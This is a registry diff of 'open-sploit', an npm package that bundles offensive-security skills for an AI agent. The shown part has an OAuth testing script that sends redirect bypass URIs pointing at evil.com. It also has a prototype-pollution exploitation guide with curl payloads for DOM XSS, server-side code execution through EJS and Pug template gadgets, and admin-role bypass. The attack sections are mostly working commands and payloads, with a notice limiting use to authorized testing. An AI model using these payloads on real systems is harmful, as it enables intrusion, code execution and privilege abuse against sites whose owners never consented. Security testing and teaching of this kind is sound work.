open-sploit 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (81) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +75 -0
  3. package/bin/install.mjs +158 -0
  4. package/package.json +27 -0
  5. package/template/agent/offsec.md +53 -0
  6. package/template/command/target.md +45 -0
  7. package/template/config/opencode.example.json +46 -0
  8. package/template/skills/api-security-testing/SKILL.md +61 -0
  9. package/template/skills/conducting-api-security-testing/LICENSE +201 -0
  10. package/template/skills/conducting-api-security-testing/SKILL.md +195 -0
  11. package/template/skills/conducting-api-security-testing/references/api-reference.md +62 -0
  12. package/template/skills/conducting-api-security-testing/scripts/agent.py +228 -0
  13. package/template/skills/exploiting-api-injection-vulnerabilities/LICENSE +201 -0
  14. package/template/skills/exploiting-api-injection-vulnerabilities/SKILL.md +481 -0
  15. package/template/skills/exploiting-api-injection-vulnerabilities/references/api-reference.md +103 -0
  16. package/template/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py +142 -0
  17. package/template/skills/exploiting-http-request-smuggling/LICENSE +201 -0
  18. package/template/skills/exploiting-http-request-smuggling/SKILL.md +343 -0
  19. package/template/skills/exploiting-http-request-smuggling/references/api-reference.md +53 -0
  20. package/template/skills/exploiting-http-request-smuggling/scripts/agent.py +196 -0
  21. package/template/skills/exploiting-idor-vulnerabilities/LICENSE +201 -0
  22. package/template/skills/exploiting-idor-vulnerabilities/SKILL.md +309 -0
  23. package/template/skills/exploiting-idor-vulnerabilities/references/api-reference.md +52 -0
  24. package/template/skills/exploiting-idor-vulnerabilities/scripts/agent.py +177 -0
  25. package/template/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE +201 -0
  26. package/template/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md +472 -0
  27. package/template/skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md +99 -0
  28. package/template/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py +132 -0
  29. package/template/skills/exploiting-nosql-injection-vulnerabilities/LICENSE +201 -0
  30. package/template/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md +219 -0
  31. package/template/skills/exploiting-nosql-injection-vulnerabilities/assets/template.md +30 -0
  32. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md +85 -0
  33. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/standards.md +19 -0
  34. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/workflows.md +23 -0
  35. package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py +136 -0
  36. package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/process.py +222 -0
  37. package/template/skills/exploiting-oauth-misconfiguration/LICENSE +201 -0
  38. package/template/skills/exploiting-oauth-misconfiguration/SKILL.md +316 -0
  39. package/template/skills/exploiting-oauth-misconfiguration/references/api-reference.md +59 -0
  40. package/template/skills/exploiting-oauth-misconfiguration/scripts/agent.py +232 -0
  41. package/template/skills/exploiting-prototype-pollution-in-javascript/LICENSE +201 -0
  42. package/template/skills/exploiting-prototype-pollution-in-javascript/SKILL.md +239 -0
  43. package/template/skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md +102 -0
  44. package/template/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py +156 -0
  45. package/template/skills/exploiting-race-condition-vulnerabilities/LICENSE +201 -0
  46. package/template/skills/exploiting-race-condition-vulnerabilities/SKILL.md +246 -0
  47. package/template/skills/exploiting-race-condition-vulnerabilities/references/api-reference.md +84 -0
  48. package/template/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py +119 -0
  49. package/template/skills/exploiting-server-side-request-forgery/LICENSE +201 -0
  50. package/template/skills/exploiting-server-side-request-forgery/SKILL.md +354 -0
  51. package/template/skills/exploiting-server-side-request-forgery/references/api-reference.md +57 -0
  52. package/template/skills/exploiting-server-side-request-forgery/scripts/agent.py +183 -0
  53. package/template/skills/exploiting-sql-injection-vulnerabilities/LICENSE +201 -0
  54. package/template/skills/exploiting-sql-injection-vulnerabilities/SKILL.md +205 -0
  55. package/template/skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md +60 -0
  56. package/template/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py +196 -0
  57. package/template/skills/exploiting-sql-injection-with-sqlmap/LICENSE +201 -0
  58. package/template/skills/exploiting-sql-injection-with-sqlmap/SKILL.md +257 -0
  59. package/template/skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md +74 -0
  60. package/template/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py +217 -0
  61. package/template/skills/exploiting-template-injection-vulnerabilities/LICENSE +201 -0
  62. package/template/skills/exploiting-template-injection-vulnerabilities/SKILL.md +322 -0
  63. package/template/skills/exploiting-template-injection-vulnerabilities/references/api-reference.md +55 -0
  64. package/template/skills/exploiting-template-injection-vulnerabilities/scripts/agent.py +205 -0
  65. package/template/skills/exploiting-type-juggling-vulnerabilities/LICENSE +201 -0
  66. package/template/skills/exploiting-type-juggling-vulnerabilities/SKILL.md +272 -0
  67. package/template/skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md +87 -0
  68. package/template/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py +141 -0
  69. package/template/skills/exploiting-websocket-vulnerabilities/LICENSE +201 -0
  70. package/template/skills/exploiting-websocket-vulnerabilities/SKILL.md +424 -0
  71. package/template/skills/exploiting-websocket-vulnerabilities/references/api-reference.md +62 -0
  72. package/template/skills/exploiting-websocket-vulnerabilities/scripts/agent.py +211 -0
  73. package/template/skills/hackerone/SKILL.md +137 -0
  74. package/template/skills/hackerone/reference/INTEGRATION_GUIDE.md +199 -0
  75. package/template/skills/hackerone/reference/sensitive-data-tracking.md +134 -0
  76. package/template/skills/hackerone/tools/__init__.py +0 -0
  77. package/template/skills/hackerone/tools/csv_parser.py +185 -0
  78. package/template/skills/hackerone/tools/report_validator.py +285 -0
  79. package/template/skills/hackerone/tools/sensitive_data_tracker.py +495 -0
  80. package/template/skills/owasp-top-10-testing/SKILL.md +64 -0
  81. package/template/skills/web-app-penetration-testing/SKILL.md +54 -0
@@ -0,0 +1,232 @@
1
+ #!/usr/bin/env python3
2
+ # For authorized testing in lab/CTF environments only
3
+ """OAuth 2.0 misconfiguration detection agent for testing redirect URI, state, and PKCE."""
4
+
5
+ import argparse
6
+ import json
7
+ import logging
8
+ import sys
9
+ import urllib.parse
10
+ from typing import List
11
+
12
+ try:
13
+ import requests
14
+ except ImportError:
15
+ sys.exit("requests is required: pip install requests")
16
+
17
+ logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
18
+ logger = logging.getLogger(__name__)
19
+
20
+
21
+ def discover_oidc_config(base_url: str) -> dict:
22
+ """Discover OpenID Connect / OAuth configuration endpoints."""
23
+ endpoints = [
24
+ "/.well-known/openid-configuration",
25
+ "/.well-known/oauth-authorization-server",
26
+ ]
27
+ for ep in endpoints:
28
+ try:
29
+ resp = requests.get(f"{base_url}{ep}", timeout=10, verify=False)
30
+ if resp.status_code == 200:
31
+ config = resp.json()
32
+ logger.info("OIDC config found at %s%s", base_url, ep)
33
+ return config
34
+ except (requests.RequestException, ValueError):
35
+ continue
36
+ logger.warning("No OIDC configuration endpoint found")
37
+ return {}
38
+
39
+
40
+ def test_redirect_uri_bypasses(auth_endpoint: str, client_id: str,
41
+ legitimate_uri: str) -> List[dict]:
42
+ """Test redirect_uri validation with common bypass techniques."""
43
+ parsed = urllib.parse.urlparse(legitimate_uri)
44
+ domain = parsed.netloc
45
+
46
+ bypass_uris = [
47
+ "https://evil.com",
48
+ f"https://{domain}.evil.com/callback",
49
+ f"https://{domain}@evil.com/callback",
50
+ f"https://evil.com/.{domain}",
51
+ f"https://{domain}/callback/../../../evil.com",
52
+ f"https://{domain}/callback?next=https://evil.com",
53
+ f"https://{domain.upper()}/callback",
54
+ f"http://{domain}/callback",
55
+ f"https://{domain}/CALLBACK",
56
+ f"https://{domain}/callback%0d%0aLocation:https://evil.com",
57
+ ]
58
+
59
+ results = []
60
+ for uri in bypass_uris:
61
+ params = {
62
+ "response_type": "code",
63
+ "client_id": client_id,
64
+ "redirect_uri": uri,
65
+ "scope": "openid",
66
+ "state": "test123",
67
+ }
68
+ try:
69
+ resp = requests.get(auth_endpoint, params=params, timeout=10,
70
+ allow_redirects=False, verify=False)
71
+ accepted = resp.status_code in (302, 301, 200)
72
+ location = resp.headers.get("Location", "")
73
+ results.append({
74
+ "redirect_uri": uri,
75
+ "status_code": resp.status_code,
76
+ "accepted": accepted,
77
+ "redirected_to": location[:120] if location else "",
78
+ })
79
+ if accepted:
80
+ logger.warning("Redirect URI bypass accepted: %s", uri)
81
+ except requests.RequestException as exc:
82
+ results.append({"redirect_uri": uri, "error": str(exc)})
83
+
84
+ return results
85
+
86
+
87
+ def test_state_parameter(auth_endpoint: str, client_id: str,
88
+ redirect_uri: str) -> dict:
89
+ """Test if the state parameter is required and validated."""
90
+ params = {
91
+ "response_type": "code",
92
+ "client_id": client_id,
93
+ "redirect_uri": redirect_uri,
94
+ "scope": "openid",
95
+ }
96
+ resp = requests.get(auth_endpoint, params=params, timeout=10,
97
+ allow_redirects=False, verify=False)
98
+ no_state_accepted = resp.status_code in (302, 301, 200)
99
+
100
+ params["state"] = "aaaa"
101
+ resp2 = requests.get(auth_endpoint, params=params, timeout=10,
102
+ allow_redirects=False, verify=False)
103
+
104
+ return {
105
+ "state_required": not no_state_accepted,
106
+ "no_state_status": resp.status_code,
107
+ "predictable_state_status": resp2.status_code,
108
+ "csrf_risk": no_state_accepted,
109
+ }
110
+
111
+
112
+ def test_pkce_requirement(auth_endpoint: str, client_id: str,
113
+ redirect_uri: str) -> dict:
114
+ """Test if PKCE (code_challenge) is required."""
115
+ params = {
116
+ "response_type": "code",
117
+ "client_id": client_id,
118
+ "redirect_uri": redirect_uri,
119
+ "scope": "openid",
120
+ "state": "pkce_test",
121
+ }
122
+ resp_no_pkce = requests.get(auth_endpoint, params=params, timeout=10,
123
+ allow_redirects=False, verify=False)
124
+
125
+ import hashlib, base64, os
126
+ verifier = base64.urlsafe_b64encode(os.urandom(32)).rstrip(b"=").decode()
127
+ challenge = base64.urlsafe_b64encode(
128
+ hashlib.sha256(verifier.encode()).digest()
129
+ ).rstrip(b"=").decode()
130
+ params["code_challenge"] = challenge
131
+ params["code_challenge_method"] = "S256"
132
+ resp_with_pkce = requests.get(auth_endpoint, params=params, timeout=10,
133
+ allow_redirects=False, verify=False)
134
+
135
+ return {
136
+ "pkce_required": resp_no_pkce.status_code >= 400,
137
+ "without_pkce_status": resp_no_pkce.status_code,
138
+ "with_pkce_status": resp_with_pkce.status_code,
139
+ "risk": "HIGH" if resp_no_pkce.status_code < 400 else "LOW",
140
+ }
141
+
142
+
143
+ def test_code_reuse(token_endpoint: str, auth_code: str, client_id: str,
144
+ client_secret: str, redirect_uri: str) -> dict:
145
+ """Test if authorization codes can be reused."""
146
+ data = {
147
+ "grant_type": "authorization_code",
148
+ "code": auth_code,
149
+ "redirect_uri": redirect_uri,
150
+ "client_id": client_id,
151
+ "client_secret": client_secret,
152
+ }
153
+ resp1 = requests.post(token_endpoint, data=data, timeout=10, verify=False)
154
+ resp2 = requests.post(token_endpoint, data=data, timeout=10, verify=False)
155
+
156
+ return {
157
+ "first_exchange_status": resp1.status_code,
158
+ "second_exchange_status": resp2.status_code,
159
+ "code_reusable": resp2.status_code == 200,
160
+ "risk": "MEDIUM" if resp2.status_code == 200 else "LOW",
161
+ }
162
+
163
+
164
+ def test_scope_escalation(auth_endpoint: str, client_id: str,
165
+ redirect_uri: str) -> dict:
166
+ """Test if additional scopes beyond authorization can be requested."""
167
+ elevated_scopes = "openid profile email admin write delete"
168
+ params = {
169
+ "response_type": "code",
170
+ "client_id": client_id,
171
+ "redirect_uri": redirect_uri,
172
+ "scope": elevated_scopes,
173
+ "state": "scope_test",
174
+ }
175
+ resp = requests.get(auth_endpoint, params=params, timeout=10,
176
+ allow_redirects=False, verify=False)
177
+ return {
178
+ "requested_scopes": elevated_scopes,
179
+ "status_code": resp.status_code,
180
+ "accepted": resp.status_code in (302, 301, 200),
181
+ }
182
+
183
+
184
+ def run_assessment(config: dict, client_id: str, redirect_uri: str) -> dict:
185
+ """Run the full OAuth security assessment."""
186
+ auth_ep = config.get("authorization_endpoint", "")
187
+ findings = []
188
+
189
+ redirect_tests = test_redirect_uri_bypasses(auth_ep, client_id, redirect_uri) if auth_ep else []
190
+ bypasses = [t for t in redirect_tests if t.get("accepted")]
191
+ if bypasses:
192
+ findings.append(f"HIGH: {len(bypasses)} redirect_uri bypass(es) accepted")
193
+
194
+ state_test = test_state_parameter(auth_ep, client_id, redirect_uri) if auth_ep else {}
195
+ if state_test.get("csrf_risk"):
196
+ findings.append("MEDIUM: State parameter not required (CSRF risk)")
197
+
198
+ pkce_test = test_pkce_requirement(auth_ep, client_id, redirect_uri) if auth_ep else {}
199
+ if not pkce_test.get("pkce_required", True):
200
+ findings.append("HIGH: PKCE not required")
201
+
202
+ scope_test = test_scope_escalation(auth_ep, client_id, redirect_uri) if auth_ep else {}
203
+
204
+ return {
205
+ "oidc_config": config,
206
+ "redirect_uri_tests": redirect_tests,
207
+ "state_parameter": state_test,
208
+ "pkce": pkce_test,
209
+ "scope_escalation": scope_test,
210
+ "findings": findings,
211
+ }
212
+
213
+
214
+ def main():
215
+ parser = argparse.ArgumentParser(description="OAuth Misconfiguration Assessment Agent")
216
+ parser.add_argument("--url", required=True, help="OAuth provider base URL")
217
+ parser.add_argument("--client-id", required=True, help="OAuth client ID")
218
+ parser.add_argument("--redirect-uri", required=True, help="Legitimate redirect URI")
219
+ parser.add_argument("--output", default="oauth_report.json")
220
+ args = parser.parse_args()
221
+
222
+ config = discover_oidc_config(args.url)
223
+ report = run_assessment(config, args.client_id, args.redirect_uri)
224
+
225
+ with open(args.output, "w") as f:
226
+ json.dump(report, f, indent=2)
227
+ logger.info("Report saved to %s", args.output)
228
+ print(json.dumps(report, indent=2))
229
+
230
+
231
+ if __name__ == "__main__":
232
+ main()
@@ -0,0 +1,201 @@
1
+
2
+ Apache License
3
+ Version 2.0, January 2004
4
+ http://www.apache.org/licenses/
5
+
6
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
7
+
8
+ 1. Definitions.
9
+
10
+ "License" shall mean the terms and conditions for use, reproduction,
11
+ and distribution as defined by Sections 1 through 9 of this document.
12
+
13
+ "Licensor" shall mean the copyright owner or entity authorized by
14
+ the copyright owner that is granting the License.
15
+
16
+ "Legal Entity" shall mean the union of the acting entity and all
17
+ other entities that control, are controlled by, or are under common
18
+ control with that entity. For the purposes of this definition,
19
+ "control" means (i) the power, direct or indirect, to cause the
20
+ direction or management of such entity, whether by contract or
21
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
22
+ outstanding shares, or (iii) beneficial ownership of such entity.
23
+
24
+ "You" (or "Your") shall mean an individual or Legal Entity
25
+ exercising permissions granted by this License.
26
+
27
+ "Source" form shall mean the preferred form for making modifications,
28
+ including but not limited to software source code, documentation
29
+ source, and configuration files.
30
+
31
+ "Object" form shall mean any form resulting from mechanical
32
+ transformation or translation of a Source form, including but
33
+ not limited to compiled object code, generated documentation,
34
+ and conversions to other media types.
35
+
36
+ "Work" shall mean the work of authorship, whether in Source or
37
+ Object form, made available under the License, as indicated by a
38
+ copyright notice that is included in or attached to the work
39
+ (an example is provided in the Appendix below).
40
+
41
+ "Derivative Works" shall mean any work, whether in Source or Object
42
+ form, that is based on (or derived from) the Work and for which the
43
+ editorial revisions, annotations, elaborations, or other modifications
44
+ represent, as a whole, an original work of authorship. For the purposes
45
+ of this License, Derivative Works shall not include works that remain
46
+ separable from, or merely link (or bind by name) to the interfaces of,
47
+ the Work and Derivative Works thereof.
48
+
49
+ "Contribution" shall mean any work of authorship, including
50
+ the original version of the Work and any modifications or additions
51
+ to that Work or Derivative Works thereof, that is intentionally
52
+ submitted to the Licensor for inclusion in the Work by the copyright owner
53
+ or by an individual or Legal Entity authorized to submit on behalf of
54
+ the copyright owner. For the purposes of this definition, "submitted"
55
+ means any form of electronic, verbal, or written communication sent
56
+ to the Licensor or its representatives, including but not limited to
57
+ communication on electronic mailing lists, source code control systems,
58
+ and issue tracking systems that are managed by, or on behalf of, the
59
+ Licensor for the purpose of discussing and improving the Work, but
60
+ excluding communication that is conspicuously marked or otherwise
61
+ designated in writing by the copyright owner as "Not a Contribution."
62
+
63
+ "Contributor" shall mean Licensor and any individual or Legal Entity
64
+ on behalf of whom a Contribution has been received by the Licensor and
65
+ subsequently incorporated within the Work.
66
+
67
+ 2. Grant of Copyright License. Subject to the terms and conditions of
68
+ this License, each Contributor hereby grants to You a perpetual,
69
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
70
+ copyright license to reproduce, prepare Derivative Works of,
71
+ publicly display, publicly perform, sublicense, and distribute the
72
+ Work and such Derivative Works in Source or Object form.
73
+
74
+ 3. Grant of Patent License. Subject to the terms and conditions of
75
+ this License, each Contributor hereby grants to You a perpetual,
76
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
77
+ (except as stated in this section) patent license to make, have made,
78
+ use, offer to sell, sell, import, and otherwise transfer the Work,
79
+ where such license applies only to those patent claims licensable
80
+ by such Contributor that are necessarily infringed by their
81
+ Contribution(s) alone or by combination of their Contribution(s)
82
+ with the Work to which such Contribution(s) was submitted. If You
83
+ institute patent litigation against any entity (including a
84
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
85
+ or a Contribution incorporated within the Work constitutes direct
86
+ or contributory patent infringement, then any patent licenses
87
+ granted to You under this License for that Work shall terminate
88
+ as of the date such litigation is filed.
89
+
90
+ 4. Redistribution. You may reproduce and distribute copies of the
91
+ Work or Derivative Works thereof in any medium, with or without
92
+ modifications, and in Source or Object form, provided that You
93
+ meet the following conditions:
94
+
95
+ (a) You must give any other recipients of the Work or
96
+ Derivative Works a copy of this License; and
97
+
98
+ (b) You must cause any modified files to carry prominent notices
99
+ stating that You changed the files; and
100
+
101
+ (c) You must retain, in the Source form of any Derivative Works
102
+ that You distribute, all copyright, patent, trademark, and
103
+ attribution notices from the Source form of the Work,
104
+ excluding those notices that do not pertain to any part of
105
+ the Derivative Works; and
106
+
107
+ (d) If the Work includes a "NOTICE" text file as part of its
108
+ distribution, then any Derivative Works that You distribute must
109
+ include a readable copy of the attribution notices contained
110
+ within such NOTICE file, excluding any notices that do not
111
+ pertain to any part of the Derivative Works, in at least one
112
+ of the following places: within a NOTICE text file distributed
113
+ as part of the Derivative Works; within the Source form or
114
+ documentation, if provided along with the Derivative Works; or,
115
+ within a display generated by the Derivative Works, if and
116
+ wherever such third-party notices normally appear. The contents
117
+ of the NOTICE file are for informational purposes only and
118
+ do not modify the License. You may add Your own attribution
119
+ notices within Derivative Works that You distribute, alongside
120
+ or as an addendum to the NOTICE text from the Work, provided
121
+ that such additional attribution notices cannot be construed
122
+ as modifying the License.
123
+
124
+ You may add Your own copyright statement to Your modifications and
125
+ may provide additional or different license terms and conditions
126
+ for use, reproduction, or distribution of Your modifications, or
127
+ for any such Derivative Works as a whole, provided Your use,
128
+ reproduction, and distribution of the Work otherwise complies with
129
+ the conditions stated in this License.
130
+
131
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
132
+ any Contribution intentionally submitted for inclusion in the Work
133
+ by You to the Licensor shall be under the terms and conditions of
134
+ this License, without any additional terms or conditions.
135
+ Notwithstanding the above, nothing herein shall supersede or modify
136
+ the terms of any separate license agreement you may have executed
137
+ with Licensor regarding such Contributions.
138
+
139
+ 6. Trademarks. This License does not grant permission to use the trade
140
+ names, trademarks, service marks, or product names of the Licensor,
141
+ except as required for reasonable and customary use in describing the
142
+ origin of the Work and reproducing the content of the NOTICE file.
143
+
144
+ 7. Disclaimer of Warranty. Unless required by applicable law or
145
+ agreed to in writing, Licensor provides the Work (and each
146
+ Contributor provides its Contributions) on an "AS IS" BASIS,
147
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
148
+ implied, including, without limitation, any warranties or conditions
149
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
150
+ PARTICULAR PURPOSE. You are solely responsible for determining the
151
+ appropriateness of using or redistributing the Work and assume any
152
+ risks associated with Your exercise of permissions under this License.
153
+
154
+ 8. Limitation of Liability. In no event and under no legal theory,
155
+ whether in tort (including negligence), contract, or otherwise,
156
+ unless required by applicable law (such as deliberate and grossly
157
+ negligent acts) or agreed to in writing, shall any Contributor be
158
+ liable to You for damages, including any direct, indirect, special,
159
+ incidental, or consequential damages of any character arising as a
160
+ result of this License or out of the use or inability to use the
161
+ Work (including but not limited to damages for loss of goodwill,
162
+ work stoppage, computer failure or malfunction, or any and all
163
+ other commercial damages or losses), even if such Contributor
164
+ has been advised of the possibility of such damages.
165
+
166
+ 9. Accepting Warranty or Additional Liability. While redistributing
167
+ the Work or Derivative Works thereof, You may choose to offer,
168
+ and charge a fee for, acceptance of support, warranty, indemnity,
169
+ or other liability obligations and/or rights consistent with this
170
+ License. However, in accepting such obligations, You may act only
171
+ on Your own behalf and on Your sole responsibility, not on behalf
172
+ of any other Contributor, and only if You agree to indemnify,
173
+ defend, and hold each Contributor harmless for any liability
174
+ incurred by, or claims asserted against, such Contributor by reason
175
+ of your accepting any such warranty or additional liability.
176
+
177
+ END OF TERMS AND CONDITIONS
178
+
179
+ APPENDIX: How to apply the Apache License to your work.
180
+
181
+ To apply the Apache License to your work, attach the following
182
+ boilerplate notice, with the fields enclosed by brackets "[]"
183
+ replaced with your own identifying information. (Don't include
184
+ the brackets!) The text should be enclosed in the appropriate
185
+ comment syntax for the file format. Please do not remove or change
186
+ the license header comment from a contributed file except when
187
+ necessary.
188
+
189
+ Copyright 2026 mukul975
190
+
191
+ Licensed under the Apache License, Version 2.0 (the "License");
192
+ you may not use this file except in compliance with the License.
193
+ You may obtain a copy of the License at
194
+
195
+ http://www.apache.org/licenses/LICENSE-2.0
196
+
197
+ Unless required by applicable law or agreed to in writing, software
198
+ distributed under the License is distributed on an "AS IS" BASIS,
199
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200
+ See the License for the specific language governing permissions and
201
+ limitations under the License.
@@ -0,0 +1,239 @@
1
+ ---
2
+ name: exploiting-prototype-pollution-in-javascript
3
+ description: Detect and exploit JavaScript prototype pollution vulnerabilities on
4
+ both client-side and server-side applications to achieve XSS, RCE, and authentication
5
+ bypass through property injection.
6
+ domain: cybersecurity
7
+ subdomain: web-application-security
8
+ tags:
9
+ - prototype-pollution
10
+ - javascript
11
+ - node-js
12
+ - xss
13
+ - rce
14
+ - property-injection
15
+ - dom-xss
16
+ - server-side-pollution
17
+ version: '1.0'
18
+ author: mahipal
19
+ license: Apache-2.0
20
+ nist_csf:
21
+ - PR.PS-01
22
+ - ID.RA-01
23
+ - PR.DS-10
24
+ - DE.CM-01
25
+ mitre_attack:
26
+ - T1190
27
+ - T1059.007
28
+ - T1505.003
29
+ - T1083
30
+ - T1055
31
+ ---
32
+
33
+ # Exploiting Prototype Pollution in JavaScript
34
+
35
+ ## When to Use
36
+ - When testing Node.js or JavaScript-heavy web applications
37
+ - During assessment of APIs accepting deep-merged JSON objects
38
+ - When testing client-side JavaScript frameworks for DOM XSS via prototype pollution
39
+ - During code review of object merge/clone/extend operations
40
+ - When evaluating npm packages for prototype pollution gadgets
41
+
42
+ ## Prerequisites
43
+ - Burp Suite with DOM Invader extension for client-side prototype pollution detection
44
+ - Node.js development environment for server-side testing
45
+ - Understanding of JavaScript prototype chain and object inheritance
46
+ - Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)
47
+ - Prototype Pollution Gadgets Scanner Burp extension for server-side detection
48
+ - Browser developer console for client-side prototype manipulation
49
+
50
+
51
+ > **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
52
+
53
+ ## Workflow
54
+
55
+ ### Step 1 — Identify Prototype Pollution Sources
56
+ ```javascript
57
+ // Client-side: Test URL-based sources
58
+ // Navigate to: http://target.com/page?__proto__[polluted]=true
59
+ // Or use constructor: http://target.com/page?constructor[prototype][polluted]=true
60
+
61
+ // Check in browser console:
62
+ console.log(({}).polluted); // If returns "true", pollution confirmed
63
+
64
+ // Common URL-based pollution vectors:
65
+ // ?__proto__[key]=value
66
+ // ?__proto__.key=value
67
+ // ?constructor[prototype][key]=value
68
+ // ?constructor.prototype.key=value
69
+
70
+ // Hash fragment pollution:
71
+ // http://target.com/#__proto__[key]=value
72
+ ```
73
+
74
+ ### Step 2 — Test Server-Side Prototype Pollution
75
+ ```bash
76
+ # Test via JSON body with __proto__
77
+ curl -X POST http://target.com/api/merge \
78
+ -H "Content-Type: application/json" \
79
+ -d '{"__proto__": {"isAdmin": true}}'
80
+
81
+ # Test via constructor.prototype
82
+ curl -X POST http://target.com/api/update \
83
+ -H "Content-Type: application/json" \
84
+ -d '{"constructor": {"prototype": {"isAdmin": true}}}'
85
+
86
+ # Test for status code reflection (detection technique)
87
+ # Pollute status property to detect server-side pollution
88
+ curl -X POST http://target.com/api/merge \
89
+ -H "Content-Type: application/json" \
90
+ -d '{"__proto__": {"status": 510}}'
91
+ # If response returns 510, server-side pollution confirmed
92
+
93
+ # JSON content type pollution
94
+ curl -X POST http://target.com/api/settings \
95
+ -H "Content-Type: application/json" \
96
+ -d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'
97
+ ```
98
+
99
+ ### Step 3 — Exploit Client-Side for DOM XSS
100
+ ```javascript
101
+ // Step 1: Find pollution source (URL parameter, JSON input, postMessage)
102
+ // Step 2: Find a gadget - a property read from prototype that reaches a sink
103
+
104
+ // Common gadgets for DOM XSS:
105
+ // innerHTML gadget:
106
+ // ?__proto__[innerHTML]=<img/src/onerror=alert(1)>
107
+
108
+ // jQuery $.html() gadget:
109
+ // ?__proto__[html]=<img/src/onerror=alert(1)>
110
+
111
+ // transport URL gadget (common in analytics scripts):
112
+ // ?__proto__[transport_url]=data:,alert(1)//
113
+
114
+ // Sanitizer bypass via prototype pollution:
115
+ // ?__proto__[allowedTags]=<script>
116
+ // ?__proto__[tagName]=IMG
117
+
118
+ // Use DOM Invader (Burp Suite built-in):
119
+ // 1. Enable DOM Invader in Burp's embedded browser
120
+ // 2. Enable Prototype Pollution option
121
+ // 3. Browse application - DOM Invader auto-detects sources
122
+ // 4. Click "Scan for gadgets" to find exploitable sinks
123
+ ```
124
+
125
+ ### Step 4 — Exploit Server-Side for RCE
126
+ ```bash
127
+ # Node.js child_process gadget (RCE)
128
+ # If application calls child_process.execSync(), spawn(), or fork():
129
+ curl -X POST http://target.com/api/merge \
130
+ -H "Content-Type: application/json" \
131
+ -d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'
132
+
133
+ # EJS template engine gadget
134
+ curl -X POST http://target.com/api/update \
135
+ -H "Content-Type: application/json" \
136
+ -d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'
137
+
138
+ # Handlebars template gadget
139
+ curl -X POST http://target.com/api/merge \
140
+ -H "Content-Type: application/json" \
141
+ -d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'
142
+
143
+ # Pug template engine gadget
144
+ curl -X POST http://target.com/api/data \
145
+ -H "Content-Type: application/json" \
146
+ -d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'
147
+ ```
148
+
149
+ ### Step 5 — Exploit for Authentication and Authorization Bypass
150
+ ```bash
151
+ # Pollute isAdmin or role property
152
+ curl -X POST http://target.com/api/profile \
153
+ -H "Content-Type: application/json" \
154
+ -d '{"__proto__": {"isAdmin": true, "role": "admin"}}'
155
+
156
+ # Pollute auth-related properties
157
+ curl -X POST http://target.com/api/settings \
158
+ -H "Content-Type: application/json" \
159
+ -d '{"__proto__": {"verified": true, "emailVerified": true}}'
160
+
161
+ # Bypass JSON schema validation
162
+ curl -X POST http://target.com/api/data \
163
+ -H "Content-Type: application/json" \
164
+ -d '{"__proto__": {"additionalProperties": true}}'
165
+ ```
166
+
167
+ ### Step 6 — Detect with Automated Tools
168
+ ```bash
169
+ # Use ppfuzz for automated detection
170
+ ppfuzz -l urls.txt -o results.txt
171
+
172
+ # Nuclei templates for prototype pollution
173
+ echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml
174
+
175
+ # Server-side detection with Burp Scanner
176
+ # Enable "Server-side prototype pollution" scan check
177
+ # Review issues in Burp Dashboard
178
+
179
+ # Manual detection via timing/error-based techniques
180
+ # Pollute a property that causes detectable server behavior change
181
+ curl -X POST http://target.com/api/data \
182
+ -H "Content-Type: application/json" \
183
+ -d '{"__proto__": {"toString": "polluted"}}'
184
+ # If server errors (500), pollution is working
185
+ ```
186
+
187
+ ## Key Concepts
188
+
189
+ | Concept | Description |
190
+ |---------|-------------|
191
+ | Prototype Chain | JavaScript inheritance mechanism where objects inherit from Object.prototype |
192
+ | __proto__ | Accessor property that exposes the prototype of an object |
193
+ | Pollution Source | Input point that allows setting properties on Object.prototype |
194
+ | Pollution Sink | Code that reads a polluted property and performs a dangerous operation |
195
+ | Gadget | A property that flows from prototype to a dangerous sink (source-to-sink chain) |
196
+ | Deep Merge | Recursive object merge functions that may process __proto__ as a regular key |
197
+ | constructor.prototype | Alternative path to access and pollute the prototype object |
198
+
199
+ ## Tools & Systems
200
+
201
+ | Tool | Purpose |
